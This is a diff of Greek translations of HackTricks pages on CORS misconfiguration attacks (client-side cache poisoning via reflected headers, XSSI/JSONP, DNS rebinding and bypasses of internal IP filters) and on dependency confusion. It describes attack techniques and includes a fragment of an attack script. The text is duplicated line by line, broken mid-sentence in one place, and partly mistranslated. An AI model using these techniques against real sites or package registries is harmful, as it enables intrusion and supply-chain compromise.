Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια διαμορφωμένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το διαμορφωμένο φορτίο στοχεύει στο να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.
Για περισσότερες πληροφορίες σχετικά με ευπάθειες αποθηκευμένου XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Σημείωση**: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτως της καθαριότητας όλων των εισαγόμενων δεδομένων από τον χρήστη, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιήστε πάντα ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.
**Σημείωση**: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτωσης όλων των εισόδων που παρέχει ο χρήστης, συμπεριλαμβανομένων των κεφαλίδων HTTP. Πάντα χρησιμοποιείτε ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.
### **Δηλητηρίαση cache στην πλευρά του πελάτη**
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά τα περιεχόμενα ενός προσαρμοσμένου κεφαλίδα HTTP χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά τα περιεχόμενα που περιλαμβάνονται σε ένα κεφαλίδα `X-User-id`, το οποίο θα μπορούσε να περιέχει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου το κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά το περιεχόμενο ενός προσαρμοσμένου κεφαλίδα HTTP χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά το περιεχόμενο που περιλαμβάνεται σε ένα κεφαλίδα `X-User-id`, το οποίο θα μπορούσε να περιέχει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου το κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς την άμεση απεικόνιση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν λαμβάνεται υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν το κεφαλίδα `Vary: Origin` δεν καθορίζεται, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να απεικονιστεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για άμεση απεικόνιση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος τη μνήμη cache της πλευράς του πελάτη.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς την απευθείας απόδοση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν λαμβάνεται υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν το κεφαλίδα `Vary: Origin` δεν καθορίζεται, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για απευθείας απόδοση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος τη μνήμη cache της πλευράς του πελάτη.
Για να εικονίσει αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με ένα προσαρμοσμένο κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στο στόχο URL, πιθανώς ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς κατάλληλη χειρισμό του κεφαλιδίου `Vary: Origin`.
Για να εικονίσουμε αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με ένα προσαρμοσμένο κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στο στόχο URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς τη σωστή χειρισμό του κεφαλιδίου `Vary: Origin`.
Εδώ παρουσιάζεται μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:
Εδώ παρουσιάζεται μια περιληπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:
```html
<script>
function gotcha() { location=url }
@ -261,9 +261,9 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπαθείας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριλαμβάνονται από διαφορετικούς τομείς. Αυτή η ευπαθεία επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.
XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπαθείας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διαφορετικούς τομείς. Αυτή η ευπαθεία επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.
Αυτή η ευπαθεία γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάνοντάς τα προσβάσιμα στον επιτιθέμενο.
Αυτή η ευπαθεία γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάτι που τα καθιστά προσβάσιμα στον επιτιθέμενο.
Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπαθεία, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις web εφαρμογές σας.
@ -277,8 +277,8 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
Ένας τρόπος να παρακάμψετε τον περιορισμό `Access-Control-Allow-Origin` είναι να ζητήσετε από μια web εφαρμογή να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα σταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει ένα πρόξι που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα πλασάρει την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Αυτό το εργαλείο παρέχει έναν διαμεσολαβητή που προωθεί το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα πλασάρει την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για τη διαμεσολάβηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.
### Bypass μέσω Iframe + Popup
@ -298,25 +298,25 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
4. Όταν λήξει το TTL, ο browser του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
5. Κρατώντας τον έλεγχο του IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στέλνει cookies στον server του θύματος.
Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς κρυπτογράφησης που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς κρυφής που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
Η αναδρομή DNS μπορεί να είναι χρήσιμη για την παράκαμψη συγκεκριμένων ελέγχων IP που πραγματοποιούνται από το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για μεγάλο χρονικό διάστημα, επιτρέποντας την λήξη της μνήμης cache.
Αν χρειάζεστε έναν γρήγορο τρόπο να καταχρηστείτε την αναδρομή DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Αν χρειάζεστε έναν γρήγορο τρόπο να καταχράστείτε την αναδρομή DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την εκθεση της τοπικής θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο υποτομέα A (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί από τον host σας.
Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την εκθεση της τοπικής σας θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο A υποτομέα (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί στον δικό σας υπολογιστή.
Μπορείτε επίσης να εξερευνήσετε ένα δημόσια λειτουργούντα διακομιστή στο [http://rebind.it/singularity.html](http://rebind.it/singularity.html) για περαιτέρω κατανόηση και πειραματισμό.
### Αναδρομή DNS μέσω **Πλημάτωσης Κρυφής DNS Cache**
### Αναδρομή DNS μέσω **Πλημάτωσης Κρυφής DNS**
Η αναδρομή DNS μέσω πλημάτωσης κρυφής DNS cache είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυπτογράφησης των browsers και την ανάγκαση ενός δεύτερου αιτήματος DNS. Εδώ είναι πώς λειτουργεί:
Η αναδρομή DNS μέσω πλημάτωσης κρυφής DNS είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυφής των browsers και την ανάγκαση ενός δεύτερου αιτήματος DNS. Εδώ είναι πώς λειτουργεί:
1. Αρχικά, όταν το θύμα κάνει ένα αίτημα DNS, απαντάται με τη διεύθυνση IP του επιτιθέμενου.
2. Για να παρακάμψει
2. Για να
### Άλλες Συνηθισμένες Παρακάμψεις
* Αν **δεν επιτρέπονται εσωτερικές IP διευθύνσεις**, μπορεί να **έχουν ξεχάσει να απαγορεύσουν την 0.0.0.0** (λειτουργεί σε Linux και Mac)
* Αν **δεν επιτρέπονται εσωτερικές IP διευθύνσεις**, μπορεί να **έχουν ξεχάσει να απαγορεύσουν το 0.0.0.0** (λειτουργεί σε Linux και Mac)
* Αν **δεν επιτρέπονται εσωτερικές IP διευθύνσεις**, απαντήστε με ένα **CNAME** προς το **localhost** (λειτουργεί σε Linux και Mac)
* Αν **δεν επιτρέπονται εσωτερικές IP διευθύνσεις** ως απαντήσεις DNS, μπορείτε να απαντήσετε με **CNAMEs προς εσωτερικές υπηρεσίες** όπως το www.corporate.internal.
@ -324,7 +324,7 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το εργαλείο που ακολουθεί στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του διακομιστή επίθεσης στη διεύθυνση IP της στόχου μηχανής και να εξυπηρετήσετε φορτία επίθεσης για να εκμεταλλευτείτε ευάλωτο λογισμικό στη μηχανή στόχο.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για να εκτελέσετε επιθέσεις [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του διακομιστή επίθεσης στην IP διεύθυνση της στόχου μηχανής και να εξυπηρετήσετε φορτία επίθεσης για να εκμεταλλευτείτε ευάλωτο λογισμικό στη μηχανή στόχο.
### Πραγματική Προστασία ενάντια στο DNS Rebinding
@ -357,7 +357,7 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -370,7 +370,7 @@ XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι έ
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,29 +1,29 @@
# Εξάρτηση Σύγχυσης
# Dependency Confusion
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Συνοπτικά, μια ευπάθεια εξάρτησης σύγχυσης συμβαίνει όταν ένα έργο χρησιμοποιεί μια βιβλιοθήκη με **λάθος γραμματικό λάθος**, **μη υπάρχουσα** ή με **μη καθορισμένη έκδοση** και το χρησιμοποιούμενο αποθετήριο εξαρτήσεων επιτρέπει να **συγκεντρώνει ενημερωμένες εκδόσεις από δημόσια** αποθετήρια.
Συνοπτικά, μια ευπάθεια στην εξάρτηση συμβαίνει όταν ένα έργο χρησιμοποιεί μια βιβλιοθήκη με **λάθος γραμματικό λάθος**, **μη ύπαρξη** ή με **μη καθορισμένη έκδοση** και το αποθετήριο εξαρτήσεων που χρησιμοποιείται επιτρέπει τη **συγκέντρωση ενημερωμένων εκδόσεων από δημόσια** αποθετήρια.
* **Λάθος γραμματικό λάθος**: Εισαγωγή **`reqests`** αντί για `requests`
* **Μη υπάρχουσα**: Εισαγωγή `company-logging`, μια εσωτερική βιβλιοθήκη που **δεν υπάρχει πλέον**
* **Μη καθορισμένη έκδοση**: Εισαγωγή μιας **εσωτερικής υπάρχουσας** βιβλιοθήκης `company-requests`, αλλά το αποθετήριο ελέγχου **δημόσια αποθετήρια** για να δει αν υπάρχουν **μεγαλύτερες εκδόσεις**.
* **Μη ύπαρξη**: Εισαγωγή `company-logging`, μια εσωτερική βιβλιοθήκη που **δεν υπάρχει πλέον**
* **Μη καθορισμένη έκδοση**: Εισαγωγή μιας **εσωτερικής υπάρχουσας** βιβλιοθήκης `company-requests`, αλλά το αποθετήριο ελέγχει **δημόσια αποθετήρια** για να δει αν υπάρχουν **μεγαλύτερες εκδόσεις**.
## Εκμετάλλευση
@ -31,43 +31,43 @@
Σε όλες τις περιπτώσεις ο επιτιθέμενος απλώς χρειάζεται να δημοσιεύσει ένα **κακόβουλο πακέτο με το όνομα** των βιβλιοθηκών που χρησιμοποιεί η εταιρεία θύμα.
{% endhint %}
### Λάθος γραμματικό λάθος & Μη υπάρχουσα
### Λάθος γραμματικό λάθος & Μη ύπαρξη
Αν η εταιρεία σας προσπαθεί να **εισάγει μια βιβλιοθήκη που δεν είναι εσωτερική**, πιθανότατα το αποθετήριο των βιβλιοθηκών θα την αναζητήσει σε **δημόσια αποθετήρια**. Αν ένας επιτιθέμενος την έχει δημιουργήσει, τον κώδικά σας και τις μηχανές που τρέχουν είναι πιθανόν να διακινδυνευτούν.
Αν η εταιρεία σας προσπαθεί να **εισάγει μια βιβλιοθήκη που δεν είναι εσωτερική**, είναι πολύ πιθανό το αποθετήριο των βιβλιοθηκών να την αναζητά σε **δημόσια αποθετήρια**. Αν ένας επιτιθέμενος την έχει δημιουργήσει, τον κώδικά σας και τις μηχανές που τρέχουν είναι πολύ πιθανό να διακινδυνευτούν.
### Μη καθορισμένη Έκδοση
Είναι πολύ συνηθισμένο για τους προγραμματιστές να **μην καθορίζουν καμία έκδοση** της χρησιμοποιούμενης βιβλιοθήκης, ή να καθορίζουν μόνο μια **κύρια έκδοση**. Στη συνέχεια, ο διερμηνευτής θα προσπαθήσει να κατεβάσει την **τελευταία έκδοση** που πληροί αυτές τις απαιτήσεις.\
Είναι πολύ συνηθισμένο για τους προγραμματιστές να **μην καθορίζουν καμία έκδοση** της χρησιμοποιούμενης βιβλιοθήκης, ή να καθορίζουν μόνο μια **κύρια έκδοση**. Στη συνέχεια, ο μεταφραστής θα προσπαθήσει να κατεβάσει τη **τελευταία έκδοση** που πληροί αυτές τις απαιτήσεις.\
Αν η βιβλιοθήκη είναι μια **γνωστή εξωτερική βιβλιοθήκη** (όπως το python `requests`), ένας **επιτιθέμενος δεν μπορεί να κάνει πολλά**, καθώς δεν θα μπορεί να δημιουργήσει μια βιβλιοθήκη με το όνομα `requests` (εκτός αν είναι ο αρχικός συγγραφέας).\
Ωστόσο, αν η βιβλιοθήκη είναι **εσωτερική**, όπως το `requests-company` σε αυτό το παράδειγμα, αν το **αποθετήριο της βιβλιοθήκης** επιτρέπει να **ελέγχει και για νέες εκδόσεις εξωτερικά**, θα αναζητήσει μια νεότερη έκδοση διαθέσιμη δημόσια.\
Ωστόσο, αν η βιβλιοθήκη είναι **εσωτερική**, όπως το `requests-company` σε αυτό το παράδειγμα, αν το **αποθετήριο της βιβλιοθήκης** επιτρέπει να **ελέγχει για νέες εκδόσεις και εξωτερικά**, θα αναζητήσει μια νεότερη έκδοση διαθέσιμη δημόσια.\
Έτσι, αν ένας **επιτιθέμενος γνωρίζει** ότι η εταιρεία χρησιμοποιεί τη βιβλιοθήκη `requests-company` **έκδοση 1.0.1** (επιτρέπει μικρές ενημερώσεις). Μπορεί να **δημοσιεύσει** τη βιβλιοθήκη `requests-company` **έκδοση 1.0.2** και η εταιρεία θα **χρησιμοποιήσει αυτήν τη βιβλιοθήκη αντί** της εσωτερικής.
## Διόρθωση AWS
Αυτή η ευπάθεια εντοπίστηκε στο AWS **CodeArtifact** (διαβάστε τις [**λεπτομέρειες σε αυτήν την ανάρτηση στο blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
Το AWS το διόρθωσε επιτρέποντας να καθορίζετε αν μια βιβλιοθήκη είναι εσωτερική ή εξωτερική, για να αποφεύγετε τη λήψη εσωτερικών εξαρτήσεων από εξωτερικά αποθετήρια.
Αυτή η ευπάθεια βρέθηκε στο AWS **CodeArtifact** (διαβάστε τις [**λεπτομέρειες σε αυτήν την ανάρτηση στο blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
Το AWS διόρθωσε αυτό επιτρέποντας να καθορίζετε αν μια βιβλιοθήκη είναι εσωτερική ή εξωτερική, για να αποφεύγετε τη λήψη εσωτερικών εξαρτήσεων από εξωτερικά αποθετήρια.
## Εύρεση Ευπάθειών Βιβλιοθηκών
Στην [**αρχική ανάρτηση για την εξάρτηση σύγχυσης**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) ο συγγραφέας αναζήτησε χιλιάδες αποκαλυμμένα αρχεία package.json που περιέχουν τις εξαρτήσεις των έργων σε JavaScript.
Στην [**αρχική ανάρτηση για την ευπάθεια στην εξάρτηση**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) ο συγγραφέας αναζήτησε χιλιάδες αρχεία package.json που περιέχουν τις εξαρτήσεις έργων JavaScript.
## Αναφορές
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
